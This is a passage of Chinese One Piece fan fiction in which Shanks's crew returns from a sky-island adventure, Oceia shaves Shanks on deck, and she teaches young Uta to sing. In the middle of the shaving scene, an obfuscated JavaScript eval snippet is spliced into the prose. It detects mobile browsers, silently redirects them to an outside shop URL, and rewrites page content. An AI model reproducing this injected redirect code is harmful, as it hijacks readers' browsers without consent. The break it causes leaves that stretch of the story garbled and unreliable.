贝克曼淡定自若地掏出打火机给自己点了根烟，“鬼面，需要你翻译一下。” “好的。” 血字的内容是一长段类似于诗歌的咏叹，又或者说这就是一篇沟通神明的祭文，读起来有些拗口…… “大海的众神啊，请你们再次庇佑于我。” “拥有重生之力的黑暗神霍尔德，请放下贪婪和杀戮，让我再次拥有来生。” “荣耀之神提尔，请你赐予我勇气和力量，让我举起利剑再次为保护国土而战。” “幸运与意外的神明阿兰贝尔，请收起恶作剧的玩闹，在岩浆中为我托起太阳。” “阿佛洛狄忒啊，不要停留，前往你本该抵达的地方，为迷途的羔羊指引自由的方向，莫让忒弥斯的温柔与善意消亡。” “月之女神……” 奥西娅顿了一下，继续翻译下去，“月之女神奥西娅，请您再次眷顾我，让我的灵魂飞往遥远的来世，把希望和守护再次带回到他的身旁。” 香克斯微微皱眉。 “朝夕池，我的母亲，我与他一同饮下这自由之水，约定再会哪怕忘却此生。” “即使千年将至，即使我们的过去在谎言中早已消亡，即使您忘记曾眷顾过我们，只要大海没有枯竭，只要太阳还在照耀……” “我对他的执念将永不消逝。” 文字的内容中带着一股跨越时空的信仰肃穆感，他们下意识把目光移向那座“女神石像”。 她在愈加明亮的阳光里散发着莹莹的光晕，张开的双翼像是下一秒就能带她飞向太阳。 宾治打了个激灵：“所以那些血字上寄宿了亚弗戈蒙的执念，才得以保存至今?” 本乡当即给了对方一胳膊肘，“闭嘴啊混蛋！不要说这么恐怖的话题！！” 斯内克抱臂装逼：“再不甘心也死了九百多年了，有什么好怕的?” 宾治和本乡齐齐朝他竖起大拇指，“斯国一！斯内克，当着人家小姐姐的面就敢这么说，我敬你是条汉子！” “你晚上睡觉的时候真的不会被执念深重的小姐姐拖下地狱吗？” “肯定会的吧！大海诡异传说里不都这么写吗？” “明年的今天就是斯内克的忌日了吧。” “作为曾经的兄弟，我们会在想起你的时候给你往海里浇上一杯酒的。” “……但咱们真的还会想起他吗？” “Emmm……不好说，毕竟一代新人换旧人嘛。” 他俩一唱一和，斯内克只觉得一股凉气从脚底心直窜到天灵盖，当即就要扑上去掐死二人。 香克斯在一旁为他们拍手叫好。 贝克曼熟练地无视掉笨蛋，从口袋里掏出小本本翻开，递给奥西娅，“这两段文字被刻在了石门的两侧。” 她回想起那扇青石巨门，当时情况紧急，自己还真没注意到两侧刻的文字，不过…… “说起来，那扇石门的材质跟我家砌房子用的青砖很像呢，真是令人牵挂呀。” “嘶——！” “嘶嘶——！！” “嘶嘶嘶——！！！” 此起彼伏的抽气声响起，如果扔下颗毒气弹绝对是团灭的结局。 另外几个人架也不打了，所有人的目光都齐刷刷地看向奥西娅，“兄、姐妹，你那是什么家庭啊?” 奥西娅：? (六) 贝克曼本子上的文字翻译出来： 一句是‘所有的相遇都是久别重逢的闭环，我早已在九百年前见过你’。 另一句是‘我将预言写于此地，希望你看到时能想起我们的约定’。 “预言?” 奥西娅看向石壁上的血字，一、二、三、四、五、六、七……里面一共提到了七位神明的名字。亚弗戈蒙在日记里也提到过将把自己的七个人格送往未来保护“乔伊波伊”。 所以，这七个神明的名字就是线索吗？ “如果说奥西娅是我，那另外六个人会是谁呢？” 其他人歪头问号脸：“为什么奥西娅是你?” 香克斯理直气壮：“因为西西的名字就是奥西娅啊。” “……” 他们异口同声：“就是说啊，姐妹你到底是什么家庭啊?” 奥西娅：?? 所以到底是什么意思? 本乡突然“啊”了一声，扒着脸痛苦的十分具象化，“财宝啊兄弟们！！咱们把财宝落下面了！！！” 一夜暴富后又瞬间回归赤贫是种怎样的痛不欲生? 二十一世纪的前·百万富豪曾小贤可以回答这个问题。 OP世界里，撅着屁股跪在地上把脸埋进水里想活活憋死自己的本乡和宾治也能回答这个问题。 看着褪成灰色的二人，奥西娅感觉房间里的水位都被他们哭上升了。 斯内克欣赏完他们哭天抢地、人生失意的热闹，才把背上人高的背包砸在地上，溅起一片水花，几块金条从合不上的拉链口处溜出来，“噗通”一声掉进水里。 他十分不屑：“就知道你们都靠不住。” “……” “……” “……” 三秒过后，本乡和宾治怪叫着扑向他，这一刻斯内克就是他！们！的！神！！！ “靠！滚开啊！！混蛋们！！！” “能亲老子的只有姑娘！！！！” “哈哈哈……不过话说回来，你为什么不早说?” “哈?” 斯内克推推墨镜：“你们不觉得你们刚才的样子很有趣吗？” “……” “……” “谁会觉得那种东西有趣啊！！！” “嗬、嗬……住、住手，我、我要喘不过气来了！” “去死吧混蛋！！！！” 至此，冒险小队的空岛之旅暂时告一段落。 他们找到了价值不菲的财宝灵药、窥见了“空白的一百年”的历史一角、进行了不可思议的机关冒险……咳咳，当然，个别人员没有参与，但两位个别人员也收获令他们十分满意的“东西”。 总而言之，此行可以说是满载而归。 最后，一行人的武器借由奥西娅的法力被操控着飞了起来，宾治带着猛士达直接把装满财宝的背包当成“魔法飞毯”坐了上去，大家好好感受了一把“霍格沃兹”的快乐！ 奥西娅叹息，数不清是第几次解释：“都说了，不是魔法，是法力，本质是借用世界本源的法则之力。” 那群不听人话的家伙：“斯国一！获得鸽子的神奇魔法！！” 奥西娅：“……” 算了。 临走前，宾治对着美丽端庄且一看就很贵的女神石像恋恋不舍，“贝克曼，你那本恶魔果实图鉴上是不是说有颗可以把人变成石头的恶魔果实来着?” “不如我们把她搬回去吧，找找那颗果实的能力者，看看能不能把人变回来！” “你积点德吧。” 贝克曼真想给他一脚踹飞，“那是乔伊波伊他老婆，再说她又不是被恋恋果实石化的。” 话音刚落，就有人替他踹了。 “斯国一——！” 香克斯若无其事地收回腿，咧着嘴笑道：“宾治居然把透明罩子撞碎了哈哈哈哈！” “……” 贝克曼扶额，“兄弟们，回去了。” “哦！！！！” 一行人从宾治撞出的大洞里顺利“飞”出，没有一个在乎当事宾的死活。 真是一群好兄弟呢，鼓掌！ 回去的路、额，空中，面对宾治幽怨的视线，香克斯给出的理由相当有大海贼的豪爽和义气。 他的语气斩钉截铁、掷地有声：“既然我们得到的馈赠已经相当丰厚了，就让最美好的留在那里吧。” 宾治被深深震撼了，没想到自家头儿在保护古代遗迹上居然还能有如此之高的觉悟！ 真是人不可貌相！ 他不由反思自己，平时对头儿的刻板印象是不是太深了? 隔壁“御来福枪飞行”的贝克曼忍不住嗤笑，视线轻飘飘地掠过非要跟奥西娅挤在一把剑上的香克斯。 屁呢，白痴头儿能有那种觉悟? 因为什么他自己心里最清楚。 15. 第 15 章 (一) 满载而归的空岛冒险小队赶在太阳落山前回到了驻扎营地，之所以这么晚回来，不是没有他们在空中玩疯了的原因。 看着接二连三跑来迎接他们的同伴，香克斯振臂高呼：“兄弟们，晚上开宴会咯！” “哦！！！！” 但比晚上宴会更重要的是他们得先去洗个澡，身上都被咸腥的海水腌入味了。 红发团之前都是大老爷们儿，船上就只建了一间公共浴室，以前奥西娅都是等他们洗完以后再去洗的。 现在嘛……大家十分有绅士风度地把船上的浴室让给奥西娅，表示他们几个男人找个地方用干净的淡水随便冲冲就行。 奥西娅十分感激，并没有拒绝这份来自同伴的好意。 香克斯刚冲完凉水澡，就顶着一头湿漉漉的红发屁颠颠地回去船上，说是要帮奥西娅守门。 万一有人不小心进去了呢? 对此，众海贼嗤之以鼻并表示：目前来看，这艘船上最有可能“不小心”的就是你自己吧? 但他们的船长向来就有一种“不听人说话”的生活态度。 …… 船舱的浴室里，正在洗澡的奥西娅听到外间的洗漱间响起开门声，她愣了一下，暂时关上花洒。 像是知道她在想什么，香克斯的声音隔着浴室门传来，“西西，我在外面守门，你慢慢洗。” 过了一会儿，浴室的水声再次响起，还有一句被水声微微掩盖的“阿里嘎多”。 香克斯笑了一下，瞥到镜子里的自己，Emmm……胡茬好像有点长了。 他从洗漱台的抽屉里翻出刮胡刀，对着镜子刮下去。 “哗啦哗啦……” 隔着一道门，奥西娅那边的水声很明显，香克斯刮胡子的动作一顿。 “哗啦哗啦……” 他的视线不由自主地移向镜子里紧闭的浴室门，刮胡刀离开下巴，被主人拿在手里若有所思地转了转。 …… 怕香克斯等太久，奥西娅加快了洗澡速度，擦干净身上的水珠，她换回了女款的晋制大袖长衫，将半干的及腰乌发用根银色丝带松松垮垮地挽起，便匆匆开门出去……但香克斯并不在外间的洗漱间。 奥西娅眨眨眼睛，不是说给她守门吗？ 按照香克斯的性格，不管大事还是小事，答应了就会做到……嗯，他故意装傻不答应，或者答应了但突发天然呆的时候另说。 ……难道是出去等她了? 手附上洗漱间的门把手，她瞥见到镜子里的自己。 女郎一身极素雅的藕色纱衫，通身最浓墨重彩的两个地方不过是那头乌亮的墨发和不点而朱的唇瓣。 虽一素到底，却淡极生艳。 女为悦己容，亦为悦己者容。 镜中的女子垂眸轻笑，然后就看到了洗漱台上的刮胡刀。 嗯? 她进去洗澡前这里有刮胡刀来吗？ …… 香克斯正靠在船舷边吹风，见奥西娅从船舱里走出来，愣了两秒，脸上才扬起笑容。 他朝她招手：“船舱里太闷了，还是甲板上舒服。” 见到他对自己笑，奥西娅也忍住对他笑，轻咳两声压下唇角，轻移莲步朝他走去。 火红的晚霞弥漫到海面上，清风徐徐，撩起来人的发丝，银色的丝带卷在青丝间缠绵地飘着，广袖和裙摆随风微荡，似有烟霞轻笼，非尘世中人。 两个国家的语言和文字都有差异，更何况两个世界呢? 这里没有“弱柳扶风”、“体态婀娜”这些美好的词语，也没有“嬛嬛一袅楚宫腰”、“彩云易散琉璃脆”这些形容美的诗句，但人类对美的感受是共通的，情感的交融并没有时空的界限。 所以，即便相隔着两个时空的文化差异，香克斯也能看得懂。 看得懂她的美丽痴情，看得懂古典美人独有的清冷易碎，看得懂她似乎比挽在臂弯的轻纱披帛还要轻盈，看得懂恬静和温柔里似乎还有一抹化不开的清浅乡愁。 她朝他慢慢走近，带着梦里月见花的清香。 “嘶……” 奥西娅的轻呼唤回了香克斯飘远的思绪，她已经走到了他身前，正仰着头瞧他的下巴，她眉间颦颦，声音清软：“你不疼吗?” 香克斯下意识去摸下巴上的几道细微伤口，一副有些尴尬的样子，眼神飘来飘去就是不低头看她。 “哈哈哈……那个，背上有点疼，刮胡子的时候不小心就……咳，下次不会了，不过好歹刮干净了。” “……” 奥西娅欲言又止，可能男性和女性对于“干净”的标准不太一样，她看着对方下巴上长短不一的胡茬，有些迟疑，“要不我再帮你修一下?” “出来的时候，刚好看到洗漱台上有把刮胡刀……应该是你的吧?” “我刮完以后忘记放回去了。” 香克斯看上去似乎比奥西娅还要迟疑，但迟疑中又有些如释重负，好像她的这个建议真的帮了他一个大忙。 “……会不会太麻烦你了?” 回答他的是奥西娅去拿刮胡刀的背影。 同为剑豪，她好像完全不觉得香克斯这么一个能把格里芬翻出花来的人却用不好刮胡刀是一件多么离谱的事儿。 算了。 毕竟，每个人都有自己擅长的和不擅长的事情。 所以，一名大剑豪用得了刀剑却用不了刮胡刀也可以是合情合理的，对吧? (此时，正在用刮胡刀给自己修胡子的鹰眼米霍克打了个喷嚏。) (二) 另一边，海贼们正在热火朝天地准备着宴会上的篝火、食物和酒水。 冒险小队出发前，贝克曼曾特意嘱咐过他们把营地转移到附近的一座高崖上，雷德·佛斯号也被开到了高崖下方，方便大家随时看护。 这么做，占据制高点是一方面。另一方面，高崖上四面通风，也是个晾晒东西的好地方。 雷德·佛斯号在之前的海啸里遭了大罪，船体多少有些受损，桅杆也被巨浪拍裂了，被耶稣布他们暂时用木板修补固定了一下，另外就是船舱里不少东西都被海水泡了。 留守的三名干部带着海贼们光是洗洗晒晒就花了一整天，现在还没弄完。但好歹先把雷德·佛斯号给洗刷干净了，船上终于不再是一股可怕的海腥味。 此时，高崖上拉着绳子，晒满了刚洗完的衣服被褥，地上还摆着成箱成桶的被海水泡过的物资。 路看见那些受损的物资就发愁，“趁着这次宴会尽量都吃完吧，不然储存不了几天就坏了。” 本乡正拉着宾治和猛士达帮他晾晒带回来的金蕊月见草，闻言也很心疼，“还有我医疗室里的一些药材，被海水泡过以后不尽快用掉，药性没两天就能跑光。” 耶稣布本来在跟贝克曼汇报雷德·佛斯号的受损状况，闻言安慰道：“节哀吧兄弟，食物啥的倒还能多吃吃，但你那些药……总不能让大家伙儿立刻生病受伤吧?” 本乡眼睛一亮：“头儿他体质那么好，多生几次病也没太大关系吧?” 众海贼：“……” “你是魔鬼吗?！！！” 贝克曼坐在石头上，手里拿着根小木棍在地上写写画画，盘算着这次拿到的财宝够不够去七水之都把整艘雷德·佛斯号彻底翻新一遍。 毕竟接下来他们要去的可是新世界，船再怎么坚固都不为过。 斯内克跟海贼们连说带比划地描述这次冒险的过程，着重讲解了本乡和宾治差点把财宝忘在水底的蠢样，惹来众海贼的惊呼或大笑。 莱姆琼斯抱着古伊娜和乌塔混在普通海贼堆里，磕着瓜子给斯内克当捧哏，每次听到有谁倒霉了，数他笑得最大声。 在讲到“真假鬼面，兄弟原来没JJ”这一回的时候，底下传来海贼们的“啧啧”声，古伊娜和乌塔使劲儿鼓掌。 不过话说回来，刚知道头儿身边那个大美女其实是鬼面的时候，大家眼珠子都要吓出来了，但没一会儿又开心地傻乐起来…… 耶！！！ 我们船上终于有大美女啦哈哈哈！！！ 干杯！！！欢呼！！！ 毕竟乌塔和古伊娜两个小美女不算数。 在这片“胡作非为”的大海上，大家对各种稀奇古怪的事情都能接受良好。就算奥西娅第二天说自己其实是吃了人人果实后变成人类的驯鹿，那大家也会在震惊过后理所当然地把它当成储备粮…… #震惊！我的同伴做成烤全鹿敲好吃！# 时间一点点流逝，很快就轮到了月亮值班。海贼们抬头是夜空的漫天星河，星星们垂眸是海贼的璀璨灯火，彼此都能欣赏到美好的风景。 在海贼们唱歌跳舞插浑打科的欢笑声里，路啃着棒骨肉准备起身，“头儿他们怎么还不回来?我去船上叫一下。” 耶稣布一把按住他的肩膀：“相信我，头儿一定不希望你去叫他。” “啊?” 路虚心请教：“他们不饿吗?” 耶稣布托着下巴，十分有经验，“没准儿他们现在饱得很呢。” 贝克曼叼着烟哼笑，跟耶稣布对视一眼，一切尽在不言中。 路：? 什么意思? “不过他们也太慢了吧?” 莱姆琼斯一口干掉杯子里的酒，拿起手边的望远镜，笑得略显猥琐：“嘻嘻~让我来看看他们背着大家偷偷干什么呢……” 三秒后，莱姆琼斯面无表情地放下望远镜，擦擦嘴角流下的酒液。 斯内克兴奋地抢过望远镜：“你看见什么炸裂的东西……啧。” 透过望远镜，能把甲板上的两个人看得清清楚楚…… 雷德·佛斯号上灯火通明。 香克斯席地而坐，背靠着船舷，仰起头。 奥西娅弯腰凑近，一只手捧着对方的脸，另一只手拿着刮胡刀在他脸上比划来比划去。 打光完美…… 构图完美…… 氛围完美…… 斯内克：“……” 他默默放下望远镜，手搭在莱姆琼斯的肩膀上拍了拍：“兄弟。” “嗯?” “以后再碰上这么恶心的画面一定要拦住我。” 耶稣布回头往船上瞟了一眼，以过来人的身份嘲笑这帮孤寡兄弟：“这才哪到哪儿啊。” “……我们以后不会得天天看这个吧?” “杀了我吧。” “哈哈哈哈哈哈哈哈哈！” 路：??? 所以你们到底看到了什么? (三) 半个小时前，雷德·佛斯号的甲板上…… 奥西娅让香克斯弯腰，自己举着刮胡刀试探地在他脸上比划了两下，觉得不太顺手。 她温声细语地跟他商量：“要不你坐下?” 香克斯还能怎么办? 他只好看起来很无奈地背靠着船舷在甲板上盘腿坐下啦~嘻嘻~ 奥西娅岔开腿，分跨在香克斯双腿两侧，俯下身捧起他的脸凑近，检查下巴上的胡茬，思索着从哪里下手。 香克斯配合地仰起头，对方的一缕发丝落在了他脸上，有点痒…… 奥西娅把香克斯的脸调整到方便自己操作的位置，轻轻试了下，刮胡刀相当锋利，对方的下巴上一下子就干净了不少。 她的指尖微凉，呼吸却是温热的，一股一股地扑到自己脸上，带着淡淡的暖香……香克斯觉得，他的脸好像也被熏热了，喉结上下滚动， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097923|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那个，等下，西西……太、太近了。” 他移开视线，内心挣扎，“那个……西西，要不、要不还是我自己来……唔?” 奥西娅毕竟是第一次用这种刮胡刀，就怕自己中途手一抖把香克斯给弄伤了，注意力全放在了刀尖上，根本没心神去听他说什么。 又觉得先用毛巾热敷一下可能会更好刮一些……她上一世跟着师兄们下山除魔卫道，在街边见过屠夫刮猪毛的场景，就是在刮之前先用热水烫一下。 虽然现在是给人刮胡子，但原理应该是相同的……吧? 于是她去拿刮胡刀的时候，顺带用热水烫了块干净毛巾带回来。 等捂得差不多了，奥西娅把热毛巾从香克斯脸上拿下来，想起他刚才好像有说什么，于是问道：“你刚刚有说什么嘛?” “不好意思，我没有听清楚，可以再说一遍吗？” 毛巾被拿下来的时候，甲板上的灯已经被守船的海贼打开了。 昏黄的灯光很柔和，映在奥西娅耳边的珍珠耳坠上，珍珠光泽温润，又映在了她肤若凝脂的脸庞上，明艳无俦。 “香克斯?” 对上她漆黑灵动的眼睛，香克斯握拳抵在唇边咳了两声，把原本要说的话咽回去，笑容十分灿烂：“我是想问……我的胡子是不是有点扎手?” 说着，他像在大鱼肚子里冒险时那样，抓着奥西娅的手往自己的脸颊上贴。 奥西娅：“……” 她也不客气，手顺着他的脸颊一寸一寸地摸过去，跟女性柔软滑嫩的触感很不一样，男人有胡茬的脸有些粗糙。 指尖抚过鬓角，最后停在了他脸侧的红发上……他的头发好像有些长了，是不是也该剪一下? 手指伸进漂亮的红色发丝间，轻轻顺着比划长度……开始只是单纯地比一下长度，又觉得香克斯的头发手感真不错，没忍住多摸了几下。 然后就被头发的主人握住了手腕。 他的声音有些暗哑：“……西西?” 奥西娅垂眸，撞进了酒红色瞳孔不加掩饰的炙热里。 “……” 脸颊控制不住地泛起胭脂粉，她笑得更美了。 因色生欲，因欲生情，见色起意，一见钟情。 奥西娅没觉得这样有什么不好，海贼崇尚及时行乐，今朝有酒今朝醉，她同样也不喜欢亏待自己。 但男欢女爱，色是前提，情是根本。 她不想香克斯对她仅仅止步于欲而已。 奥西娅伸手捏捏他的耳朵。 耳朵上突如其来的凉意将香克斯惊醒，他连忙后仰：“怎、怎么了，西西?” 奥西娅轻笑，一字一句道：“你的耳朵好红。” 他愣了一下，马上捂住自己的耳朵：“咳咳、哦，那个，我……啊，有点热！” “我就是有点热！” “哦。” 她应了一声，轻飘飘地把话题拉了回来，“何止是扎手，都能拿去刷碗了。” “……什么？” “扑哧~” 奥西娅再也忍不住，俯在他肩膀上眼泪都笑出来了，“你的胡子，你不是问我胡子是不是有点扎手吗？” “哦，那个我，我就是，是……” ……憋了半晌什么也没憋出来。 香克斯：“……” 奥西娅：“扑哧~” 香克斯放弃了，抬手揽上对方盈盈不堪一握的腰肢，把脸埋进她的颈窝里，拉长语调耍赖：“饶——了——我——吧。” 奥西娅忍笑：“谁还欺负你了？” 她把香克斯的头从自己颈窝里扒拉出来，刮胡刀贴在他下巴上小心翼翼地滑动，清理着长短不一的胡茬。 “西西……” “不许说话。” “……” 香克斯老实地闭上嘴。 刚才他嘴巴一动，奥西娅下刀的位置差点歪了，吓了她一跳。 但香克斯又是能老实多久的人? 期间，他揽在奥西娅腰间上的手有好几次不老实，害得刮胡刀差点刮伤他的脸。 奥西娅：“……” “给我坐端正！” 很有曾经压着小艾斯学习的气势。 腰间的手也被她扯下来按回到香克斯他自己的身体两侧。 香克斯：“……” 西西好凶啊QAQ。 被凶的香克斯就乖多了，又安静，又听话，两只手安安分分地垂在身体两侧，拉着个嘴角不说话。 奥西娅的动作从生疏到熟练，很快就把糙汉翻新成了一个大帅哥。 她捧着香克斯的脸调整角度，在灯光下欣赏着自己作品的完美度。 不得不说，香克斯是真的很好看，胡子拉碴的造型也崩不了他的颜值，难道这是“面子果实”的附加效果? 香克斯：“……” 大虾大虾，他是一只红色的大虾。 奥西娅对上他委屈巴巴的表情，又笑出声来，拍拍他僵硬的肩膀，后退移开了位置，转身去洗漱间冲洗刮胡刀。 “……” 香克斯沉默。 香克斯疑惑。 她为什么不哄自己? 他赶紧追上去，“西西西西西西西西西西西西……” “干什么？” “……我来洗。” 奥西娅一点也不推辞，香克斯洗完刮胡刀，看着镜子里的自己，摸摸下巴：“……这就好了？” 奥西娅也看向镜子里的他，没看出有什么问题，十分好脾气地问：“有哪里不满意吗？” 香克斯在镜子里同她对视：“太快了。” “……” 奥西娅似笑非笑地看着他。 香克斯：“……” 16.第 16 章 (一) 雷德·佛斯号冲出白白海的瞬间，奥西娅想用法力控制住船体，却被香克斯握住了手腕。他朝她眨眨眼睛，一副要“干坏事”的小表情。 失去浮力的雷德·佛斯号直直坠落，把被蒙在鼓里的海贼们被吓得面无血色。 “靠！这么高的距离掉进海里十条命也得死翘翘啊！！！” “奥西娅！快救……” 突然响起的哨鸣打断了海贼的求救，一只巨大的章鱼冲出云层，粗壮的足须将船体牢牢缠绕。 紧接着章鱼像热气球似的迅速膨胀，将下坠的雷德·佛斯号牢牢拽住。海贼们因为这突如其来的停顿，“噼里啪啦”摔成了一片：“好痛……混蛋！” 唯一幸免的是奥西娅，早有准备的香克斯先一步垫在了她下面。 他朝她笑嘻嘻地指指头顶：“空岛特产章鱼热气球，是不是很有意思?” 其他人顶着大包从甲板上爬起来：“有意思你个头啊！！！” “哈哈哈哈哈哈哈。” “笑你个头啊！！！！” 历史总是惊人的相似…… 贝克曼把鼻青脸肿的香克斯拽在手里，“还有什么瞒着我们吗?” 香克斯眼神飘忽：“章鱼会×&%￥@。” 贝克曼：“什么？” 虽然听不出来白痴头儿嘟囔的什么东西，但这种一看就没憋好屁的表情…… 果然，下一秒…… “副船长！章鱼开始漏气了啊啊啊啊啊啊！！！” 海贼和龙首一起飙泪：“啊啊啊啊啊啊啊啊！！！” “把混蛋头儿丢下船吧啊啊啊啊啊啊啊啊！！！” “奥西娅这次真要救命啦啊啊啊啊啊啊啊啊！！！” 不提香克斯在大家要把他丢出去摔死的时候，是怎么抱着奥西娅不肯撒手的。 总而言之，在奥西娅法力的操控下，雷德·佛斯号载着一众海贼有惊无险地落回了那片他们熟悉的蔚蓝大海。 水花小到路过的海鸥都给他们打出了『10分』的高分成绩，OP世界的跳水新星在冉冉升起。 他们像模像样地对着四周空无一人的大海鞠躬挥手：“谢谢！” “谢谢大家的支持！” “我们一定会戒躁戒躁，再创辉煌！” 奥西娅：“……” 贝克曼：“……” 俩人对视一眼，脑电波达到了诡异的统一——算了，又不是第一天知道他们脑子有病了。 看久了白色的云海，再看这一望无垠的蔚蓝，竟然有些恍如隔世的感觉……明明只在空岛待了四、五天而已。 贝克曼再度望向遥远的天空，缓缓吐出一口香烟：“难怪许多人把那里当作痴人说梦。” 奥西娅点头，“是啊。” 天空离他们太高太远了，哪怕去过了空岛，也让人有种只是大梦一场的错乱感。 (二) 雷德·佛斯号平稳地驶向七水之都。 一成不变的航行是非常枯燥的，一点小事就能让海贼们兴奋不已，比如…… “啊啊啊！！！” “路！路！！你快来看！！！” “这个草莓是不是要开花了?！！！” 莱姆琼斯一声嚎，把甲板上无所事事的一群海贼都聚到了小菜园。 这是他们还在空岛的时候，奥西娅一手弄出来的。 她从那批本来打算丢掉的受损物资里挑挑拣拣出还有救的部分，能腌制的腌制，能催芽的全都移栽到了空木箱里种下。 没几天，雷德·佛斯号的甲板上就多了这片生机盎然的小菜园。 还有医疗室里那些被海水泡了的药材，也被她配成药酒密封了起来。 这波极限救场，挽回了船上将近五分之四的损失，把一船海贼看得一愣一愣的……长得漂亮、会酿酒、会种菜、会做饭，最重要的是她！还！会！魔！法！！！ 这搁谁谁不迷糊啊? 头儿吃的也太好了吧！ 路蹲在种着草莓的木箱前，小心翼翼地拨开翠绿的叶片，露出里面圆乎乎的花骨朵，忍不住呲牙一乐：“嘿，还真是！” “哦！！！！” “头儿！开宴会吧！” “是啊！头儿，庆祝我们马上就能实现的草莓自由！！” 香克斯正在跟贝克曼商议空岛冒险得到的财宝要如何分配，闻言朝他们摆摆手，示意完全没问题。 海贼们又是一阵欢呼，吵吵嚷嚷地跟路点菜。 “我想吃奥西娅之前腌的糟鹅，肯定已经入味了！” 路想了下，点头：“可以。” “我要吃腊肉版本的海鲜炒饭。” “没腊肉了。” “……” “那我要喝奥西娅在空岛酿的那些酒！” “还没发酵好。” “……” “你是不是故意不想给我们吃?” 路：“吃豆芽炒腊肠吧你们。” “你刚才还说没有腊肉？！” “八嘎，腊肠跟腊肉是两回事。” “可我们已经连着吃了三天豆芽了！” “奥西娅发的豆芽还剩下很多，不赶紧吃完就会浪费。” “这可是宴会啊！宴会！！宴会是要大口吃肉大口喝酒大声唱歌的！！！” “吃肉吃肉吃肉吃肉吃肉吃肉吃肉！！！” “闭嘴，厨师做什么你们就吃什么。” “唉——好冷淡！” “西瓜混蛋！！” “吝啬鬼！！！” “八嘎厨子！！！” “棒骨肉！！！！” “喂，棒骨肉不是骂人的吧?” “哦，肉/棒骨！！！！” “你们这帮欠收拾的混蛋！！！！！” (三) 他们本来以为会那么多东西的奥西娅已经足够厉害了，可在后续的相处中，他们才发现自己错的离谱。 奥西娅的含金量还在不断上升，剑术、医术、酿酒、种菜、做饭、“魔法”什么的，只能算是人家的冰山一角。 随着奥·冰山·西娅逐渐显露出全貌，这群海贼满脑子只剩下了一个想法——白痴头儿他何德何能啊? …… 刚上船不久的时候，奥西娅就发现了小乌塔在音乐方面的天赋。 凡是给她唱过的歌，哪怕只有一遍，小姑娘也能跟着哼唱下来，而且不只是五音俱全地跟唱，从她嘴里唱出来的音符都会融入她自己的感情和特点。 奥西娅发誓自己不是因为喜欢小乌塔，所以才“情人眼里出西施”，事实本身就是乌塔的天资即便放在她三世见过的所有歌手里面，也绝对是排在TOP.1那一层的。 奥西娅控制不住地见猎心喜，那些束之高阁的艺术啊、才情啊都被唤醒了。 从前，三个儿子一个徒弟对这些都不感兴趣，让她空有一身本领却无处施展。现在遇到了慧根灵动又敏而好学的小乌塔，她突然就明白了什么叫做众里寻他千百度，蓦然回首，那人却在，灯火阑珊处。 在知道小乌塔的梦想是“用歌声让全世界的人都感到幸福”后，那更是“金风玉露一相逢，便胜却人间无数”，奥西娅恨不得用逆向“吸星大法”把自己会的都传给她。 总算能共情那些甘愿把自己毕生修为都传给弟子的老师父了。 奥西娅上一世出身的唐家堡，是江湖有名的武学世家。 为了世家传承，家族对嫡系血脉的培养是从不吝啬投入资源和心血的。 唐月见作为唐家堡货真价实的嫡亲大小姐，不管她自己本身想不想，家族安身立命的医毒武学她必须要会。 普通世家小姐要学的琴?、??棋?、书、画、诗、酒、花、茶、香?、??礼仪?、?管家技能?、??针黹、纺绩?以及?一些娱乐运动?，譬如骑马、荡秋千、放风筝、蹴鞠、博戏、歌舞等，她也必须要会。 这还不论她在二十一世纪那个娱乐现象级爆炸发展的时代里汲取到的各种审美经验和丰富多彩的艺术形式。 小乌塔想要成为世界第一的歌姬，平心而论，奥西娅能教给她的东西还真不少。 …… 午饭后的餐厅里，奥西娅坐在凳子上抱着琵琶给乌塔伴奏。 琵琶是她画了图纸请本乡帮忙制作的，一大一小两把。 大的那把是她的，小的那把是乌塔的。 在奥西娅会的三样乐器里，比起古琴和横笛，小乌塔更想学琵琶，理由是琵琶看起来不止能演奏，感觉抡起来砸人的时候也相当顺手。 奥西娅：“……” 不愧是海贼的孩子。 奥西娅已经在考虑等乌塔长大以后，用什么材料给她做琵琶才比较抗砸了，至少琴弦不能抡一次就断一次吧? 轻拢慢捻抹复挑，伴着铮铮琵琶音，小乌塔的歌声响起。 高音清脆明亮，低音饱满柔和，音阶之间的过度十分自然丝滑，充满了天真原始的生命力，似乎可以穿透一切，触碰到听众内心最柔软、最纯净的角落。 她天生就能将音乐演绎出最完美的效果。 一曲结束，餐厅里响起热烈的掌声。 莱姆琼斯推推听呆了的宾治，“小乌塔是不是很厉害?” 宾治激动的连话都说不出来了，一个劲儿地鼓掌，身为一个披着战斗皮肤的音乐家，他比其他海贼更加清楚乌塔的天赋意味着什么！ 香克斯托着下巴与有荣焉：“小乌塔随我。” “……” “……” “……” 热闹的气氛瞬间停滞。 贝克曼弹掉烟灰，“就你?” “不相信我?我马上就唱给你们……唔?” 准备一展歌喉的香克斯在第一个音出来之前就被其他人扑上来强制闭麦。 “头儿，别逼我们在这么快乐的时候揍你。” “自个儿唱歌什么大鹅朝天啸的死样儿没点逼数是吧?” “唔！唔！！唔！！！” 小乌塔早就在大家夸她的时候就扑回了奥西娅怀里。同样窝在奥西娅身边的古伊娜朝她比了两个大拇指。乌塔露出一个甜乎乎的缺牙巴笑容。 奥西娅摸摸她的头发，把提前准备好的梨皮雪梨茶喂给她，“要注意保护嗓子哦，乌塔。” “好！” 喝完保护嗓子的茶，她仰头望着奥西娅，漂亮的紫色眼睛里大写着三个字：求夸夸！ 奥西娅轻笑，俯身抵住她的额头蹭了蹭，眼中满是疼爱和期待：“我们的小乌塔一定会成为这片大海上最炙手可热的歌姬。” “森塞，我也要！” “嗨嗨嗨，我们的古伊娜一定会先索隆一步成为世界第一的大剑豪！” 乌塔脑后两个像兔耳朵似的小辫子一下子就竖了起来：“索隆?” 古伊娜：“额……是我的朋友。” 小兔叽瞪大双眼，满脸“你在外面居然背着我有别的朋友了”“我跟你难道不是天下第一好吗”的不敢置信。 奥西娅：“噗。” 古伊娜咳了两声：“别管他，我肯定跟你是天下第一好！” 乌塔歪头。 乌塔眯眼。 乌塔不信。 